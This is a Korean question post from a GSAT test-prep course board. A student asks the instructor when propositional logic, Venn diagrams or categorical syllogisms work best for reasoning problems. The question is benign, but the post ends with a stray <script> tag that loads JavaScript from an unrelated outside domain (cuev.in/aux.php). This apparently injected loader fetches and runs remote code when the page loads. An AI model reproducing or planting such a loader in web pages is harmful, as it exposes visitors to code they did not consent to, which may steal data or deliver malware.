명제논리, 밴다이어그램, 정언적 삼단논법 언제 쓸지?

==================▼질문 양식▼==================

질문하는 선생님 : (ex : 복지훈 선생님 )
질문하는 강의/교재명 : ( ex : 해커스 GSAT최신기출유형 )
질문하는 문제의 위치 : ( ex : p 155 3번 )

* 양식에 맞게 질문 작성해주셔야 상세한 답변을 받으실 수 있습니다.
* 수강하는 강의/교재에 대한 질문을 해주셔야 답변이 가능합니다.  
* 질문하고자하는 문제에 대한 정답/해설을 함께 올려주시면 빠른 답변이 가능합니다. 
* 수강하는 강의/교재에 대한 질문 답변만 가능합니다.

 

==================▼질문 작성▼==================

- 질문하는 선생님 : 복지훈 선생님

- 질문하는 강의/교재명 : 해커스 2018하반기 GSAT 기출유형공략 - 추리

- 질문하는 문제의 위치 : 전반적인 추리 내용

- 질문 내용 : 명제논리 (조건명제), 밴다이어그램, 정언적 삼단논법들을 언제 언제 쓰는지가 궁금합니다.

명제논리(조건명제)는 명제2+결론1가 있다는 가정하에 '모든'이 2번 나오게 될 경우 써야하는것 같은데요, 밴다이어그램 혹은 정언적 삼단논법을 각각 언제 쓰는지가 유리한지가 궁금합니다.

밴다이어그램도 개념이 4개가 나올 때에 유리한것을 알것 같은데요, 그 외에 또 언제 밴다이어그램을 쓰는게 유리한지 이해가 안 갔습니다.

<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=">